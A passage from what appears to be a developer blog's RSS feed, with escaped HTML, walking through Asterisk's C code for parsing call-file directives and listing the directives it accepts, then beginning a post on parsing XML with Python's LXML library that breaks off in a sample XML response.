&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">retrytime&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">LOG_WARNING&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Invalid retrytime at line %d of &amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;%s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">lineno&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">fn&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">retrytime&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">300&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;waittime&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="nf">sscanf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;%30d&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">waittime&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">||&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">waittime&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">LOG_WARNING&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Invalid waittime at line %d of &amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;%s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">lineno&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">fn&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">waittime&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">45&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;retry&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">retries&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;startretry&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">sscanf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;%30ld&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">callingpid&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">LOG_WARNING&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Unable to retrieve calling &amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;PID!&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">callingpid&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;endretry&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;abortretry&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">callingpid&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">retries&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;delayedretry&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;setvar&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;set&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">c2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">strsep&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">c2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;=&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">c2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">var&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">ast_variable_new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">c2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">fn&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">var&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cm">/*
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * Always insert at the end, because some people
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * want to treat the spool file as a script
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">last&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">last&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">next&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">var&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">vars&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">var&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">last&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">var&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">LOG_WARNING&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Malformed &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s">%s&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s"> argument. &amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;Should be &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s">%s: variable=value&lt;/span>&lt;span class="se">\&amp;#34;\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;account&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_string_field_set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">account&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;alwaysdelete&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_set2_flag&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">options&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nf">ast_true&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">SPOOL_FLAG_ALWAYS_DELETE&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;archive&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_set2_flag&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">options&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nf">ast_true&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">SPOOL_FLAG_ARCHIVE&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">LOG_WARNING&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Unknown keyword &amp;#39;%s&amp;#39; at line %d of &amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;%s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">lineno&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">fn&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">LOG_NOTICE&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Syntax error at line %d of %s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">lineno&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fn&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_string_field_set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">fn&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">fn&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">ast_strlen_zero&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">tech&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="nf">ast_strlen_zero&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">dest&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">||&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="nf">ast_strlen_zero&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">app&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nf">ast_strlen_zero&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">exten&lt;/span>&lt;span class="p">)))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">LOG_WARNING&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;At least one of app or extension must be &amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;specified, along with tech and dest in file %s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">fn&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The first thing it seems to do (after storing some Asterisk variables for later
usage) is begin parsing the call file, 256 bytes at a time. One thing we
immediately learn from this, is that any given line in your call file cannot
contain more than 256 bytes (characters). If it does, then it will not be
parsed correctly.&lt;/p>
&lt;p>The next thing that &lt;code>apply_outgoing&lt;/code> does is remove any comments and trailing
whitespace. This is pretty standard stuff. I am a bit surprised, however,
that the Asterisk developers didn&amp;rsquo;t use the utility function &lt;code>ast_trim_blanks&lt;/code>
(in &lt;code>include/asterisk/strings.h&lt;/code>), as re-writing this sort of stuff greatly
increases the size of the code base, making it harder to maintain.&lt;/p>
&lt;p>Next, Asterisk attempts to detect the command and arguments for each call file
directive. Since all call file directives are of the form
&lt;code>command: arguments&lt;/code>, Asterisk splits the line at &lt;code>:&lt;/code>, then tries to detect
which command is being called. This is exactly what we would expect to happen.&lt;/p>
&lt;p>In the process of splitting the lines into command and argument pairs, Asterisk
parses out the arguments as well, and populates the outgoing struct as
expected. Along the way, if Asterisk finds any problems with the syntax, it&amp;rsquo;ll
log the errors to the Asterisk log (usually &lt;code>/var/log/asterisk/full&lt;/code>).&lt;/p>
&lt;p>Lastly, after parsing all options, Asterisk verifies to make sure that the
minimum directives have been specified.&lt;/p>
&lt;p>If everything worked OK, and the call file can be spooled, then
&lt;code>apply_outgoing&lt;/code> will return &lt;code>0&lt;/code>, otherwise, it&amp;rsquo;ll return &lt;code>-1&lt;/code>.&lt;/p>
&lt;h2 id="what-did-we-learn">What Did We Learn?&lt;/h2>
&lt;p>We&amp;rsquo;ve analyzed the core components that make call files work, and we&amp;rsquo;ve learned
a few things.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>We have a complete understanding of which call file directives exist (as
shown in the code above). This is a big benefit, as the documentation on
&lt;a href="http://www.voip-info.org/" title="VoIP Info Wiki">VoIP Info&lt;/a>, and various other Asterisk documentation websites seems to
be incomplete. The exact call files directives allowed are:&lt;/p>
&lt;ul>
&lt;li>&lt;code>channel&lt;/code>&lt;/li>
&lt;li>&lt;code>callerid&lt;/code>&lt;/li>
&lt;li>&lt;code>application&lt;/code>&lt;/li>
&lt;li>&lt;code>data&lt;/code>&lt;/li>
&lt;li>&lt;code>maxretries&lt;/code>&lt;/li>
&lt;li>&lt;code>codecs&lt;/code>&lt;/li>
&lt;li>&lt;code>context&lt;/code>&lt;/li>
&lt;li>&lt;code>extension&lt;/code>&lt;/li>
&lt;li>&lt;code>priority&lt;/code>&lt;/li>
&lt;li>&lt;code>retrytime&lt;/code>&lt;/li>
&lt;li>&lt;code>waittime&lt;/code>&lt;/li>
&lt;li>&lt;code>retry&lt;/code>&lt;/li>
&lt;li>&lt;code>startretry&lt;/code>&lt;/li>
&lt;li>&lt;code>endretry&lt;/code>&lt;/li>
&lt;li>&lt;code>delayedretry&lt;/code>&lt;/li>
&lt;li>&lt;code>setvar&lt;/code>&lt;/li>
&lt;li>&lt;code>account&lt;/code>&lt;/li>
&lt;li>&lt;code>alwaysdelete&lt;/code>&lt;/li>
&lt;li>&lt;code>archive&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>Note, some of these directives should not be directly entered into your
call files (as Asterisk will automatically add them as necessary), but of
course, if you&amp;rsquo;re reading this you&amp;rsquo;re probably the type of person who likes
messing with that sort of stuff, so have at it. :&amp;gt;&lt;/p>
&lt;/li>
&lt;li>
&lt;p>We&amp;rsquo;ve learned how to put any amount of directives we want onto a single
line. Obviously this is totally useless, but it is nice to know that we
CAN if we want to!&lt;/p>
&lt;p>We&amp;rsquo;re able to do this because the spooling daemon reads 256 bytes at a time
for parsing. So we could write a call file that looks something like:&lt;/p>
&lt;p>&lt;code>Channel: blah NextDirective: blah ...&lt;/code>&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>I&amp;rsquo;m hoping to do a few more articles that demistify other parts of Asterisk in
depth (with code and examples). This is my first, and I know it doesn&amp;rsquo;t touch
on the complex topics like threading and synchronous / asynchronous channels,
but I assure you I&amp;rsquo;ll write some future articles which cover those parts in
extreme depth.&lt;/p></description></item><item><title>Basic XML Parsing With Python and LXML</title><link>https://rdegges.com/2010/basic-xml-parsing-with-python-and-lxml/</link><pubDate>Tue, 16 Mar 2010 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/basic-xml-parsing-with-python-and-lxml/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/basic-xml-parsing-with-python-and-lxml/lumberjack-sketch.png" alt="Lumberjack Sketch" title="Lumberjack Sketch">
&lt;/p>
&lt;p>Recently I&amp;rsquo;ve been developing an API using python and &lt;a href="https://www.djangoproject.com/" title="Django">Django&lt;/a> for work,
which uses XML responses to speak to clients. One of my goals for the client
was to be able to easily parse the XML responses that the server sends, so that
I could appropriately handle errors.&lt;/p>
&lt;p>Fortunately, python has many tools for building and parsing XML. During my
research, I tested several options, but found that the well supported library
&lt;a href="http://lxml.de/" title="LXML">LXML&lt;/a> was a perfect match for what I needed. Unfortunately, I had a hard
time figuring this out, as examples to just parse XML content was lacking in
the official tutorial, and there were no good resources online with code
samples.&lt;/p>
&lt;p>So let&amp;rsquo;s take a quick peek at a sample XML document, then we&amp;rsquo;ll analyze some
simple LXML code to see how it works. Of course, before you can run any of
these code samples, you&amp;rsquo;ll need to download and install LXML (there are
packages available on most Linux systems already).&lt;/p>
&lt;p>Here&amp;rsquo;s are two sample XML responses that our server may send to the clients:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;utf-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;response&lt;/span> &lt;span class="na">version=&lt;/span>&lt;span class="s">&amp;#34;1.0&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;code&amp;gt;&lt;/span>200&lt;span class="nt">&amp;lt;/code&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;id&amp;gt;&lt;/span>50&lt;span class="nt">&amp;lt;/id&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/response&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;utf-8&amp;#34;?&amp;gt;&lt;/span>
